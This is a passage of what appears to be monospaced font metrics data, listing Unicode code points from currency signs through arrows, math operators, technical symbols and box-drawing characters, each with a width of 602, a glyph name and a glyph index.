U 8369 ; WX 602 ; N uni20B1 ; G 1921
U 8370 ; WX 602 ; N uni20B2 ; G 1922
U 8371 ; WX 602 ; N uni20B3 ; G 1923
U 8372 ; WX 602 ; N uni20B4 ; G 1924
U 8373 ; WX 602 ; N uni20B5 ; G 1925
U 8376 ; WX 602 ; N uni20B8 ; G 1926
U 8377 ; WX 602 ; N uni20B9 ; G 1927
U 8378 ; WX 602 ; N uni20BA ; G 1928
U 8381 ; WX 602 ; N uni20BD ; G 1929
U 8450 ; WX 602 ; N uni2102 ; G 1930
U 8453 ; WX 602 ; N uni2105 ; G 1931
U 8461 ; WX 602 ; N uni210D ; G 1932
U 8462 ; WX 602 ; N uni210E ; G 1933
U 8463 ; WX 602 ; N uni210F ; G 1934
U 8469 ; WX 602 ; N uni2115 ; G 1935
U 8470 ; WX 602 ; N uni2116 ; G 1936
U 8471 ; WX 602 ; N uni2117 ; G 1937
U 8473 ; WX 602 ; N uni2119 ; G 1938
U 8474 ; WX 602 ; N uni211A ; G 1939
U 8477 ; WX 602 ; N uni211D ; G 1940
U 8482 ; WX 602 ; N trademark ; G 1941
U 8484 ; WX 602 ; N uni2124 ; G 1942
U 8486 ; WX 602 ; N uni2126 ; G 1943
U 8490 ; WX 602 ; N uni212A ; G 1944
U 8491 ; WX 602 ; N uni212B ; G 1945
U 8494 ; WX 602 ; N estimated ; G 1946
U 8520 ; WX 602 ; N uni2148 ; G 1947
U 8528 ; WX 602 ; N uni2150 ; G 1948
U 8529 ; WX 602 ; N uni2151 ; G 1949
U 8531 ; WX 602 ; N onethird ; G 1950
U 8532 ; WX 602 ; N twothirds ; G 1951
U 8533 ; WX 602 ; N uni2155 ; G 1952
U 8534 ; WX 602 ; N uni2156 ; G 1953
U 8535 ; WX 602 ; N uni2157 ; G 1954
U 8536 ; WX 602 ; N uni2158 ; G 1955
U 8537 ; WX 602 ; N uni2159 ; G 1956
U 8538 ; WX 602 ; N uni215A ; G 1957
U 8539 ; WX 602 ; N oneeighth ; G 1958
U 8540 ; WX 602 ; N threeeighths ; G 1959
U 8541 ; WX 602 ; N fiveeighths ; G 1960
U 8542 ; WX 602 ; N seveneighths ; G 1961
U 8543 ; WX 602 ; N uni215F ; G 1962
U 8585 ; WX 602 ; N uni2189 ; G 1963
U 8592 ; WX 602 ; N arrowleft ; G 1964
U 8593 ; WX 602 ; N arrowup ; G 1965
U 8594 ; WX 602 ; N arrowright ; G 1966
U 8595 ; WX 602 ; N arrowdown ; G 1967
U 8596 ; WX 602 ; N arrowboth ; G 1968
U 8597 ; WX 602 ; N arrowupdn ; G 1969
U 8598 ; WX 602 ; N uni2196 ; G 1970
U 8599 ; WX 602 ; N uni2197 ; G 1971
U 8600 ; WX 602 ; N uni2198 ; G 1972
U 8601 ; WX 602 ; N uni2199 ; G 1973
U 8602 ; WX 602 ; N uni219A ; G 1974
U 8603 ; WX 602 ; N uni219B ; G 1975
U 8604 ; WX 602 ; N uni219C ; G 1976
U 8605 ; WX 602 ; N uni219D ; G 1977
U 8606 ; WX 602 ; N uni219E ; G 1978
U 8607 ; WX 602 ; N uni219F ; G 1979
U 8608 ; WX 602 ; N uni21A0 ; G 1980
U 8609 ; WX 602 ; N uni21A1 ; G 1981
U 8610 ; WX 602 ; N uni21A2 ; G 1982
U 8611 ; WX 602 ; N uni21A3 ; G 1983
U 8612 ; WX 602 ; N uni21A4 ; G 1984
U 8613 ; WX 602 ; N uni21A5 ; G 1985
U 8614 ; WX 602 ; N uni21A6 ; G 1986
U 8615 ; WX 602 ; N uni21A7 ; G 1987
U 8616 ; WX 602 ; N arrowupdnbse ; G 1988
U 8617 ; WX 602 ; N uni21A9 ; G 1989
U 8618 ; WX 602 ; N uni21AA ; G 1990
U 8619 ; WX 602 ; N uni21AB ; G 1991
U 8620 ; WX 602 ; N uni21AC ; G 1992
U 8621 ; WX 602 ; N uni21AD ; G 1993
U 8622 ; WX 602 ; N uni21AE ; G 1994
U 8623 ; WX 602 ; N uni21AF ; G 1995
U 8624 ; WX 602 ; N uni21B0 ; G 1996
U 8625 ; WX 602 ; N uni21B1 ; G 1997
U 8626 ; WX 602 ; N uni21B2 ; G 1998
U 8627 ; WX 602 ; N uni21B3 ; G 1999
U 8628 ; WX 602 ; N uni21B4 ; G 2000
U 8629 ; WX 602 ; N carriagereturn ; G 2001
U 8630 ; WX 602 ; N uni21B6 ; G 2002
U 8631 ; WX 602 ; N uni21B7 ; G 2003
U 8632 ; WX 602 ; N uni21B8 ; G 2004
U 8633 ; WX 602 ; N uni21B9 ; G 2005
U 8634 ; WX 602 ; N uni21BA ; G 2006
U 8635 ; WX 602 ; N uni21BB ; G 2007
U 8636 ; WX 602 ; N uni21BC ; G 2008
U 8637 ; WX 602 ; N uni21BD ; G 2009
U 8638 ; WX 602 ; N uni21BE ; G 2010
U 8639 ; WX 602 ; N uni21BF ; G 2011
U 8640 ; WX 602 ; N uni21C0 ; G 2012
U 8641 ; WX 602 ; N uni21C1 ; G 2013
U 8642 ; WX 602 ; N uni21C2 ; G 2014
U 8643 ; WX 602 ; N uni21C3 ; G 2015
U 8644 ; WX 602 ; N uni21C4 ; G 2016
U 8645 ; WX 602 ; N uni21C5 ; G 2017
U 8646 ; WX 602 ; N uni21C6 ; G 2018
U 8647 ; WX 602 ; N uni21C7 ; G 2019
U 8648 ; WX 602 ; N uni21C8 ; G 2020
U 8649 ; WX 602 ; N uni21C9 ; G 2021
U 8650 ; WX 602 ; N uni21CA ; G 2022
U 8651 ; WX 602 ; N uni21CB ; G 2023
U 8652 ; WX 602 ; N uni21CC ; G 2024
U 8653 ; WX 602 ; N uni21CD ; G 2025
U 8654 ; WX 602 ; N uni21CE ; G 2026
U 8655 ; WX 602 ; N uni21CF ; G 2027
U 8656 ; WX 602 ; N arrowdblleft ; G 2028
U 8657 ; WX 602 ; N arrowdblup ; G 2029
U 8658 ; WX 602 ; N arrowdblright ; G 2030
U 8659 ; WX 602 ; N arrowdbldown ; G 2031
U 8660 ; WX 602 ; N arrowdblboth ; G 2032
U 8661 ; WX 602 ; N uni21D5 ; G 2033
U 8662 ; WX 602 ; N uni21D6 ; G 2034
U 8663 ; WX 602 ; N uni21D7 ; G 2035
U 8664 ; WX 602 ; N uni21D8 ; G 2036
U 8665 ; WX 602 ; N uni21D9 ; G 2037
U 8666 ; WX 602 ; N uni21DA ; G 2038
U 8667 ; WX 602 ; N uni21DB ; G 2039
U 8668 ; WX 602 ; N uni21DC ; G 2040
U 8669 ; WX 602 ; N uni21DD ; G 2041
U 8670 ; WX 602 ; N uni21DE ; G 2042
U 8671 ; WX 602 ; N uni21DF ; G 2043
U 8672 ; WX 602 ; N uni21E0 ; G 2044
U 8673 ; WX 602 ; N uni21E1 ; G 2045
U 8674 ; WX 602 ; N uni21E2 ; G 2046
U 8675 ; WX 602 ; N uni21E3 ; G 2047
U 8676 ; WX 602 ; N uni21E4 ; G 2048
U 8677 ; WX 602 ; N uni21E5 ; G 2049
U 8678 ; WX 602 ; N uni21E6 ; G 2050
U 8679 ; WX 602 ; N uni21E7 ; G 2051
U 8680 ; WX 602 ; N uni21E8 ; G 2052
U 8681 ; WX 602 ; N uni21E9 ; G 2053
U 8682 ; WX 602 ; N uni21EA ; G 2054
U 8683 ; WX 602 ; N uni21EB ; G 2055
U 8684 ; WX 602 ; N uni21EC ; G 2056
U 8685 ; WX 602 ; N uni21ED ; G 2057
U 8686 ; WX 602 ; N uni21EE ; G 2058
U 8687 ; WX 602 ; N uni21EF ; G 2059
U 8688 ; WX 602 ; N uni21F0 ; G 2060
U 8689 ; WX 602 ; N uni21F1 ; G 2061
U 8690 ; WX 602 ; N uni21F2 ; G 2062
U 8691 ; WX 602 ; N uni21F3 ; G 2063
U 8692 ; WX 602 ; N uni21F4 ; G 2064
U 8693 ; WX 602 ; N uni21F5 ; G 2065
U 8694 ; WX 602 ; N uni21F6 ; G 2066
U 8695 ; WX 602 ; N uni21F7 ; G 2067
U 8696 ; WX 602 ; N uni21F8 ; G 2068
U 8697 ; WX 602 ; N uni21F9 ; G 2069
U 8698 ; WX 602 ; N uni21FA ; G 2070
U 8699 ; WX 602 ; N uni21FB ; G 2071
U 8700 ; WX 602 ; N uni21FC ; G 2072
U 8701 ; WX 602 ; N uni21FD ; G 2073
U 8702 ; WX 602 ; N uni21FE ; G 2074
U 8703 ; WX 602 ; N uni21FF ; G 2075
U 8704 ; WX 602 ; N universal ; G 2076
U 8705 ; WX 602 ; N uni2201 ; G 2077
U 8706 ; WX 602 ; N partialdiff ; G 2078
U 8707 ; WX 602 ; N existential ; G 2079
U 8708 ; WX 602 ; N uni2204 ; G 2080
U 8709 ; WX 602 ; N emptyset ; G 2081
U 8710 ; WX 602 ; N increment ; G 2082
U 8711 ; WX 602 ; N gradient ; G 2083
U 8712 ; WX 602 ; N element ; G 2084
U 8713 ; WX 602 ; N notelement ; G 2085
U 8714 ; WX 602 ; N uni220A ; G 2086
U 8715 ; WX 602 ; N suchthat ; G 2087
U 8716 ; WX 602 ; N uni220C ; G 2088
U 8717 ; WX 602 ; N uni220D ; G 2089
U 8718 ; WX 602 ; N uni220E ; G 2090
U 8719 ; WX 602 ; N product ; G 2091
U 8720 ; WX 602 ; N uni2210 ; G 2092
U 8721 ; WX 602 ; N summation ; G 2093
U 8722 ; WX 602 ; N minus ; G 2094
U 8723 ; WX 602 ; N uni2213 ; G 2095
U 8725 ; WX 602 ; N uni2215 ; G 2096
U 8727 ; WX 602 ; N asteriskmath ; G 2097
U 8728 ; WX 602 ; N uni2218 ; G 2098
U 8729 ; WX 602 ; N uni2219 ; G 2099
U 8730 ; WX 602 ; N radical ; G 2100
U 8731 ; WX 602 ; N uni221B ; G 2101
U 8732 ; WX 602 ; N uni221C ; G 2102
U 8733 ; WX 602 ; N proportional ; G 2103
U 8734 ; WX 602 ; N infinity ; G 2104
U 8735 ; WX 602 ; N orthogonal ; G 2105
U 8736 ; WX 602 ; N angle ; G 2106
U 8739 ; WX 602 ; N uni2223 ; G 2107
U 8743 ; WX 602 ; N logicaland ; G 2108
U 8744 ; WX 602 ; N logicalor ; G 2109
U 8745 ; WX 602 ; N intersection ; G 2110
U 8746 ; WX 602 ; N union ; G 2111
U 8747 ; WX 602 ; N integral ; G 2112
U 8748 ; WX 602 ; N uni222C ; G 2113
U 8749 ; WX 602 ; N uni222D ; G 2114
U 8756 ; WX 602 ; N therefore ; G 2115
U 8757 ; WX 602 ; N uni2235 ; G 2116
U 8758 ; WX 602 ; N uni2236 ; G 2117
U 8759 ; WX 602 ; N uni2237 ; G 2118
U 8760 ; WX 602 ; N uni2238 ; G 2119
U 8761 ; WX 602 ; N uni2239 ; G 2120
U 8762 ; WX 602 ; N uni223A ; G 2121
U 8763 ; WX 602 ; N uni223B ; G 2122
U 8764 ; WX 602 ; N similar ; G 2123
U 8765 ; WX 602 ; N uni223D ; G 2124
U 8769 ; WX 602 ; N uni2241 ; G 2125
U 8770 ; WX 602 ; N uni2242 ; G 2126
U 8771 ; WX 602 ; N uni2243 ; G 2127
U 8772 ; WX 602 ; N uni2244 ; G 2128
U 8773 ; WX 602 ; N congruent ; G 2129
U 8774 ; WX 602 ; N uni2246 ; G 2130
U 8775 ; WX 602 ; N uni2247 ; G 2131
U 8776 ; WX 602 ; N approxequal ; G 2132
U 8777 ; WX 602 ; N uni2249 ; G 2133
U 8778 ; WX 602 ; N uni224A ; G 2134
U 8779 ; WX 602 ; N uni224B ; G 2135
U 8780 ; WX 602 ; N uni224C ; G 2136
U 8781 ; WX 602 ; N uni224D ; G 2137
U 8782 ; WX 602 ; N uni224E ; G 2138
U 8783 ; WX 602 ; N uni224F ; G 2139
U 8784 ; WX 602 ; N uni2250 ; G 2140
U 8785 ; WX 602 ; N uni2251 ; G 2141
U 8786 ; WX 602 ; N uni2252 ; G 2142
U 8787 ; WX 602 ; N uni2253 ; G 2143
U 8788 ; WX 602 ; N uni2254 ; G 2144
U 8789 ; WX 602 ; N uni2255 ; G 2145
U 8790 ; WX 602 ; N uni2256 ; G 2146
U 8791 ; WX 602 ; N uni2257 ; G 2147
U 8792 ; WX 602 ; N uni2258 ; G 2148
U 8793 ; WX 602 ; N uni2259 ; G 2149
U 8794 ; WX 602 ; N uni225A ; G 2150
U 8795 ; WX 602 ; N uni225B ; G 2151
U 8796 ; WX 602 ; N uni225C ; G 2152
U 8797 ; WX 602 ; N uni225D ; G 2153
U 8798 ; WX 602 ; N uni225E ; G 2154
U 8799 ; WX 602 ; N uni225F ; G 2155
U 8800 ; WX 602 ; N notequal ; G 2156
U 8801 ; WX 602 ; N equivalence ; G 2157
U 8802 ; WX 602 ; N uni2262 ; G 2158
U 8803 ; WX 602 ; N uni2263 ; G 2159
U 8804 ; WX 602 ; N lessequal ; G 2160
U 8805 ; WX 602 ; N greaterequal ; G 2161
U 8806 ; WX 602 ; N uni2266 ; G 2162
U 8807 ; WX 602 ; N uni2267 ; G 2163
U 8808 ; WX 602 ; N uni2268 ; G 2164
U 8809 ; WX 602 ; N uni2269 ; G 2165
U 8813 ; WX 602 ; N uni226D ; G 2166
U 8814 ; WX 602 ; N uni226E ; G 2167
U 8815 ; WX 602 ; N uni226F ; G 2168
U 8816 ; WX 602 ; N uni2270 ; G 2169
U 8817 ; WX 602 ; N uni2271 ; G 2170
U 8818 ; WX 602 ; N uni2272 ; G 2171
U 8819 ; WX 602 ; N uni2273 ; G 2172
U 8820 ; WX 602 ; N uni2274 ; G 2173
U 8821 ; WX 602 ; N uni2275 ; G 2174
U 8822 ; WX 602 ; N uni2276 ; G 2175
U 8823 ; WX 602 ; N uni2277 ; G 2176
U 8824 ; WX 602 ; N uni2278 ; G 2177
U 8825 ; WX 602 ; N uni2279 ; G 2178
U 8826 ; WX 602 ; N uni227A ; G 2179
U 8827 ; WX 602 ; N uni227B ; G 2180
U 8828 ; WX 602 ; N uni227C ; G 2181
U 8829 ; WX 602 ; N uni227D ; G 2182
U 8830 ; WX 602 ; N uni227E ; G 2183
U 8831 ; WX 602 ; N uni227F ; G 2184
U 8832 ; WX 602 ; N uni2280 ; G 2185
U 8833 ; WX 602 ; N uni2281 ; G 2186
U 8834 ; WX 602 ; N propersubset ; G 2187
U 8835 ; WX 602 ; N propersuperset ; G 2188
U 8836 ; WX 602 ; N notsubset ; G 2189
U 8837 ; WX 602 ; N uni2285 ; G 2190
U 8838 ; WX 602 ; N reflexsubset ; G 2191
U 8839 ; WX 602 ; N reflexsuperset ; G 2192
U 8840 ; WX 602 ; N uni2288 ; G 2193
U 8841 ; WX 602 ; N uni2289 ; G 2194
U 8842 ; WX 602 ; N uni228A ; G 2195
U 8843 ; WX 602 ; N uni228B ; G 2196
U 8845 ; WX 602 ; N uni228D ; G 2197
U 8846 ; WX 602 ; N uni228E ; G 2198
U 8847 ; WX 602 ; N uni228F ; G 2199
U 8848 ; WX 602 ; N uni2290 ; G 2200
U 8849 ; WX 602 ; N uni2291 ; G 2201
U 8850 ; WX 602 ; N uni2292 ; G 2202
U 8851 ; WX 602 ; N uni2293 ; G 2203
U 8852 ; WX 602 ; N uni2294 ; G 2204
U 8853 ; WX 602 ; N circleplus ; G 2205
U 8854 ; WX 602 ; N uni2296 ; G 2206
U 8855 ; WX 602 ; N circlemultiply ; G 2207
U 8856 ; WX 602 ; N uni2298 ; G 2208
U 8857 ; WX 602 ; N uni2299 ; G 2209
U 8858 ; WX 602 ; N uni229A ; G 2210
U 8859 ; WX 602 ; N uni229B ; G 2211
U 8860 ; WX 602 ; N uni229C ; G 2212
U 8861 ; WX 602 ; N uni229D ; G 2213
U 8862 ; WX 602 ; N uni229E ; G 2214
U 8863 ; WX 602 ; N uni229F ; G 2215
U 8864 ; WX 602 ; N uni22A0 ; G 2216
U 8865 ; WX 602 ; N uni22A1 ; G 2217
U 8866 ; WX 602 ; N uni22A2 ; G 2218
U 8867 ; WX 602 ; N uni22A3 ; G 2219
U 8868 ; WX 602 ; N uni22A4 ; G 2220
U 8869 ; WX 602 ; N perpendicular ; G 2221
U 8882 ; WX 602 ; N uni22B2 ; G 2222
U 8883 ; WX 602 ; N uni22B3 ; G 2223
U 8884 ; WX 602 ; N uni22B4 ; G 2224
U 8885 ; WX 602 ; N uni22B5 ; G 2225
U 8888 ; WX 602 ; N uni22B8 ; G 2226
U 8898 ; WX 602 ; N uni22C2 ; G 2227
U 8899 ; WX 602 ; N uni22C3 ; G 2228
U 8900 ; WX 602 ; N uni22C4 ; G 2229
U 8901 ; WX 602 ; N dotmath ; G 2230
U 8902 ; WX 602 ; N uni22C6 ; G 2231
U 8909 ; WX 602 ; N uni22CD ; G 2232
U 8910 ; WX 602 ; N uni22CE ; G 2233
U 8911 ; WX 602 ; N uni22CF ; G 2234
U 8912 ; WX 602 ; N uni22D0 ; G 2235
U 8913 ; WX 602 ; N uni22D1 ; G 2236
U 8922 ; WX 602 ; N uni22DA ; G 2237
U 8923 ; WX 602 ; N uni22DB ; G 2238
U 8924 ; WX 602 ; N uni22DC ; G 2239
U 8925 ; WX 602 ; N uni22DD ; G 2240
U 8926 ; WX 602 ; N uni22DE ; G 2241
U 8927 ; WX 602 ; N uni22DF ; G 2242
U 8928 ; WX 602 ; N uni22E0 ; G 2243
U 8929 ; WX 602 ; N uni22E1 ; G 2244
U 8930 ; WX 602 ; N uni22E2 ; G 2245
U 8931 ; WX 602 ; N uni22E3 ; G 2246
U 8932 ; WX 602 ; N uni22E4 ; G 2247
U 8933 ; WX 602 ; N uni22E5 ; G 2248
U 8934 ; WX 602 ; N uni22E6 ; G 2249
U 8935 ; WX 602 ; N uni22E7 ; G 2250
U 8936 ; WX 602 ; N uni22E8 ; G 2251
U 8937 ; WX 602 ; N uni22E9 ; G 2252
U 8943 ; WX 602 ; N uni22EF ; G 2253
U 8960 ; WX 602 ; N uni2300 ; G 2254
U 8961 ; WX 602 ; N uni2301 ; G 2255
U 8962 ; WX 602 ; N house ; G 2256
U 8963 ; WX 602 ; N uni2303 ; G 2257
U 8964 ; WX 602 ; N uni2304 ; G 2258
U 8965 ; WX 602 ; N uni2305 ; G 2259
U 8966 ; WX 602 ; N uni2306 ; G 2260
U 8968 ; WX 602 ; N uni2308 ; G 2261
U 8969 ; WX 602 ; N uni2309 ; G 2262
U 8970 ; WX 602 ; N uni230A ; G 2263
U 8971 ; WX 602 ; N uni230B ; G 2264
U 8972 ; WX 602 ; N uni230C ; G 2265
U 8973 ; WX 602 ; N uni230D ; G 2266
U 8974 ; WX 602 ; N uni230E ; G 2267
U 8975 ; WX 602 ; N uni230F ; G 2268
U 8976 ; WX 602 ; N revlogicalnot ; G 2269
U 8977 ; WX 602 ; N uni2311 ; G 2270
U 8978 ; WX 602 ; N uni2312 ; G 2271
U 8979 ; WX 602 ; N uni2313 ; G 2272
U 8980 ; WX 602 ; N uni2314 ; G 2273
U 8981 ; WX 602 ; N uni2315 ; G 2274
U 8984 ; WX 602 ; N uni2318 ; G 2275
U 8985 ; WX 602 ; N uni2319 ; G 2276
U 8988 ; WX 602 ; N uni231C ; G 2277
U 8989 ; WX 602 ; N uni231D ; G 2278
U 8990 ; WX 602 ; N uni231E ; G 2279
U 8991 ; WX 602 ; N uni231F ; G 2280
U 8992 ; WX 602 ; N integraltp ; G 2281
U 8993 ; WX 602 ; N integralbt ; G 2282
U 8997 ; WX 602 ; N uni2325 ; G 2283
U 8998 ; WX 602 ; N uni2326 ; G 2284
U 8999 ; WX 602 ; N uni2327 ; G 2285
U 9000 ; WX 602 ; N uni2328 ; G 2286
U 9003 ; WX 602 ; N uni232B ; G 2287
U 9013 ; WX 602 ; N uni2335 ; G 2288
U 9014 ; WX 602 ; N uni2336 ; G 2289
U 9015 ; WX 602 ; N uni2337 ; G 2290
U 9016 ; WX 602 ; N uni2338 ; G 2291
U 9017 ; WX 602 ; N uni2339 ; G 2292
U 9018 ; WX 602 ; N uni233A ; G 2293
U 9019 ; WX 602 ; N uni233B ; G 2294
U 9020 ; WX 602 ; N uni233C ; G 2295
U 9021 ; WX 602 ; N uni233D ; G 2296
U 9022 ; WX 602 ; N uni233E ; G 2297
U 9023 ; WX 602 ; N uni233F ; G 2298
U 9024 ; WX 602 ; N uni2340 ; G 2299
U 9025 ; WX 602 ; N uni2341 ; G 2300
U 9026 ; WX 602 ; N uni2342 ; G 2301
U 9027 ; WX 602 ; N uni2343 ; G 2302
U 9028 ; WX 602 ; N uni2344 ; G 2303
U 9029 ; WX 602 ; N uni2345 ; G 2304
U 9030 ; WX 602 ; N uni2346 ; G 2305
U 9031 ; WX 602 ; N uni2347 ; G 2306
U 9032 ; WX 602 ; N uni2348 ; G 2307
U 9033 ; WX 602 ; N uni2349 ; G 2308
U 9034 ; WX 602 ; N uni234A ; G 2309
U 9035 ; WX 602 ; N uni234B ; G 2310
U 9036 ; WX 602 ; N uni234C ; G 2311
U 9037 ; WX 602 ; N uni234D ; G 2312
U 9038 ; WX 602 ; N uni234E ; G 2313
U 9039 ; WX 602 ; N uni234F ; G 2314
U 9040 ; WX 602 ; N uni2350 ; G 2315
U 9041 ; WX 602 ; N uni2351 ; G 2316
U 9042 ; WX 602 ; N uni2352 ; G 2317
U 9043 ; WX 602 ; N uni2353 ; G 2318
U 9044 ; WX 602 ; N uni2354 ; G 2319
U 9045 ; WX 602 ; N uni2355 ; G 2320
U 9046 ; WX 602 ; N uni2356 ; G 2321
U 9047 ; WX 602 ; N uni2357 ; G 2322
U 9048 ; WX 602 ; N uni2358 ; G 2323
U 9049 ; WX 602 ; N uni2359 ; G 2324
U 9050 ; WX 602 ; N uni235A ; G 2325
U 9051 ; WX 602 ; N uni235B ; G 2326
U 9052 ; WX 602 ; N uni235C ; G 2327
U 9053 ; WX 602 ; N uni235D ; G 2328
U 9054 ; WX 602 ; N uni235E ; G 2329
U 9055 ; WX 602 ; N uni235F ; G 2330
U 9056 ; WX 602 ; N uni2360 ; G 2331
U 9057 ; WX 602 ; N uni2361 ; G 2332
U 9058 ; WX 602 ; N uni2362 ; G 2333
U 9059 ; WX 602 ; N uni2363 ; G 2334
U 9060 ; WX 602 ; N uni2364 ; G 2335
U 9061 ; WX 602 ; N uni2365 ; G 2336
U 9062 ; WX 602 ; N uni2366 ; G 2337
U 9063 ; WX 602 ; N uni2367 ; G 2338
U 9064 ; WX 602 ; N uni2368 ; G 2339
U 9065 ; WX 602 ; N uni2369 ; G 2340
U 9066 ; WX 602 ; N uni236A ; G 2341
U 9067 ; WX 602 ; N uni236B ; G 2342
U 9068 ; WX 602 ; N uni236C ; G 2343
U 9069 ; WX 602 ; N uni236D ; G 2344
U 9070 ; WX 602 ; N uni236E ; G 2345
U 9071 ; WX 602 ; N uni236F ; G 2346
U 9072 ; WX 602 ; N uni2370 ; G 2347
U 9073 ; WX 602 ; N uni2371 ; G 2348
U 9074 ; WX 602 ; N uni2372 ; G 2349
U 9075 ; WX 602 ; N uni2373 ; G 2350
U 9076 ; WX 602 ; N uni2374 ; G 2351
U 9077 ; WX 602 ; N uni2375 ; G 2352
U 9078 ; WX 602 ; N uni2376 ; G 2353
U 9079 ; WX 602 ; N uni2377 ; G 2354
U 9080 ; WX 602 ; N uni2378 ; G 2355
U 9081 ; WX 602 ; N uni2379 ; G 2356
U 9082 ; WX 602 ; N uni237A ; G 2357
U 9085 ; WX 602 ; N uni237D ; G 2358
U 9088 ; WX 602 ; N uni2380 ; G 2359
U 9089 ; WX 602 ; N uni2381 ; G 2360
U 9090 ; WX 602 ; N uni2382 ; G 2361
U 9091 ; WX 602 ; N uni2383 ; G 2362
U 9096 ; WX 602 ; N uni2388 ; G 2363
U 9097 ; WX 602 ; N uni2389 ; G 2364
U 9098 ; WX 602 ; N uni238A ; G 2365
U 9099 ; WX 602 ; N uni238B ; G 2366
U 9109 ; WX 602 ; N uni2395 ; G 2367
U 9115 ; WX 602 ; N uni239B ; G 2368
U 9116 ; WX 602 ; N uni239C ; G 2369
U 9117 ; WX 602 ; N uni239D ; G 2370
U 9118 ; WX 602 ; N uni239E ; G 2371
U 9119 ; WX 602 ; N uni239F ; G 2372
U 9120 ; WX 602 ; N uni23A0 ; G 2373
U 9121 ; WX 602 ; N uni23A1 ; G 2374
U 9122 ; WX 602 ; N uni23A2 ; G 2375
U 9123 ; WX 602 ; N uni23A3 ; G 2376
U 9124 ; WX 602 ; N uni23A4 ; G 2377
U 9125 ; WX 602 ; N uni23A5 ; G 2378
U 9126 ; WX 602 ; N uni23A6 ; G 2379
U 9127 ; WX 602 ; N uni23A7 ; G 2380
U 9128 ; WX 602 ; N uni23A8 ; G 2381
U 9129 ; WX 602 ; N uni23A9 ; G 2382
U 9130 ; WX 602 ; N uni23AA ; G 2383
U 9131 ; WX 602 ; N uni23AB ; G 2384
U 9132 ; WX 602 ; N uni23AC ; G 2385
U 9133 ; WX 602 ; N uni23AD ; G 2386
U 9134 ; WX 602 ; N uni23AE ; G 2387
U 9166 ; WX 602 ; N uni23CE ; G 2388
U 9167 ; WX 602 ; N uni23CF ; G 2389
U 9251 ; WX 602 ; N uni2423 ; G 2390
U 9472 ; WX 602 ; N SF100000 ; G 2391
U 9473 ; WX 602 ; N uni2501 ; G 2392
U 9474 ; WX 602 ; N SF110000 ; G 2393
U 9475 ; WX 602 ; N uni2503 ; G 2394
U 9476 ; WX 602 ; N uni2504 ; G 2395
U 9477 ; WX 602 ; N uni2505 ; G 2396
U 9478 ; WX 602 ; N uni2506 ; G 2397
U 9479 ; WX 602 ; N uni2507 ; G 2398
U 9480 ; WX 602 ; N uni2508 ; G 2399
U 9481 ; WX 602 ; N uni2509 ; G 2400
U 9482 ; WX 602 ; N uni250A ; G 2401
U 9483 ; WX 602 ; N uni250B ; G 2402
U 9484 ; WX 602 ; N SF010000 ; G 2403
U 9485 ; WX 602 ; N uni250D ; G 2404
U 9486 ; WX 602 ; N uni250E ; G 2405
U 9487 ; WX 602 ; N uni250F ; G 2406
U 9488 ; WX 602 ; N SF030000 ; G 2407
U 9489 ; WX 602 ; N uni2511 ; G 2408
U 9490 ; WX 602 ; N uni2512 ; G 2409
U 9491 ; WX 602 ; N uni2513 ; G 2410
U 9492 ; WX 602 ; N SF020000 ; G 2411
U 9493 ; WX 602 ; N uni2515 ; G 2412
U 9494 ; WX 602 ; N uni2516 ; G 2413
U 9495 ; WX 602 ; N uni2517 ; G 2414
U 9496 ; WX 602 ; N SF040000 ; G 2415
U 9497 ; WX 602 ; N uni2519 ; G 2416
U 9498 ; WX 602 ; N uni251A ; G 2417
U 9499 ; WX 602 ; N uni251B ; G 2418
U 9500 ; WX 602 ; N SF080000 ; G 2419
U 9501 ; WX 602 ; N uni251D ; G 2420
U 9502 ; WX 602 ; N uni251E ; G 2421
U 9503 ; WX 602 ; N uni251F ; G 2422
U 9504 ; WX 602 ; N uni2520 ; G 2423
U 9505 ; WX 602 ; N uni2521 ; G 2424
U 9506 ; WX 602 ; N uni2522 ; G 2425
U 9507 ; WX 602 ; N uni2523 ; G 2426
U 9508 ; WX 602 ; N SF090000 ; G 2427
U 9509 ; WX 602 ; N uni2525 ; G 2428
U 9510 ; WX 602 ; N uni2526 ; G 2429
U 9511 ; WX 602 ; N uni2527 ; G 2430
U 9512 ; WX 602 ; N uni2528 ; G 2431
U 9513 ; WX 602 ; N uni2529 ; G 2432
U 9514 ; WX 602 ; N uni252A ; G 2433
U 9515 ; WX 602 ; N uni252B ; G 2434
U 9516 ; WX 602 ; N SF060000 ; G 2435
U 9517 ; WX 602 ; N uni252D ; G 2436
U 9518 ; WX 602 ; N uni252E ; G 2437
U 9519 ; WX 602 ; N uni252F ; G 2438
U 9520 ; WX 602 ; N uni2530 ; G 2439
U 9521 ; WX 602 ; N uni2531 ; G 2440
U 9522 ; WX 602 ; N uni2532 ; G 2441
U 9523 ; WX 602 ; N uni2533 ; G 2442
U 9524 ; WX 602 ; N SF070000 ; G 2443
U 9525 ; WX 602 ; N uni2535 ; G 2444
U 9526 ; WX 602 ; N uni2536 ; G 2445
U 9527 ; WX 602 ; N uni2537 ; G 2446
U 9528 ; WX 602 ; N uni2538 ; G 2447
U 9529 ; WX 602 ; N uni2539 ; G 2448
U 9530 ; WX 602 ; N uni253A ; G 2449
U 9531 ; WX 602 ; N uni253B ; G 2450
U 9532 ; WX 602 ; N SF050000 ; G 2451
U 9533 ; WX 602 ; N uni253D ; G 2452
U 9534 ; WX 602 ; N uni253E ; G 2453
U 9535 ; WX 602 ; N uni253F ; G 2454
U 9536 ; WX 602 ; N uni2540 ; G 2455
U 9537 ; WX 602 ; N uni2541 ; G 2456
U 9538 ; WX 602 ; N uni2542 ; G 2457
U 9539 ; WX 602 ; N uni2543 ; G 2458
U 9540 ; WX 602 ; N uni2544 ; G 2459
U 9541 ; WX 602 ; N uni2545 ; G 2460
U 9542 ; WX 602 ; N uni2546 ; G 2461
U 9543 ; WX 602 ; N uni2547 ; G 2462
U 9544 ; WX 602 ; N uni2548 ; G 2463
U 9545 ; WX 602 ; N uni2549 ; G 2464
U 9546 ; WX 602 ; N uni254A ; G 2465
U 9547 ; WX 602 ; N uni254B ; G 2466
U 9548 ; WX 602 ; N uni254C ; G 2467
U 9549 ; WX 602 ; N uni254D ; G 2468
U 9550 ; WX 602 ; N uni254E ; G 2469
U 9551 ; WX 602 ; N uni254F ; G 2470
U 9552 ; WX 602 ; N SF430000 ; G 2471
U 9553 ; WX 602 ; N SF240000 ; G 2472
U 9554 ; WX 602 ; N SF510000 ; G 2473
U 9555 ; WX 602 ; N SF520000 ; G 2474
U 9556 ; WX 602 ; N SF390000 ; G 2475
U 9557 ; WX 602 ; N SF220000 ; G 2476
U 9558 ; WX 602 ; N SF210000 ; G 2477
U 9559 ; WX 602 ; N SF250000 ; G 2478
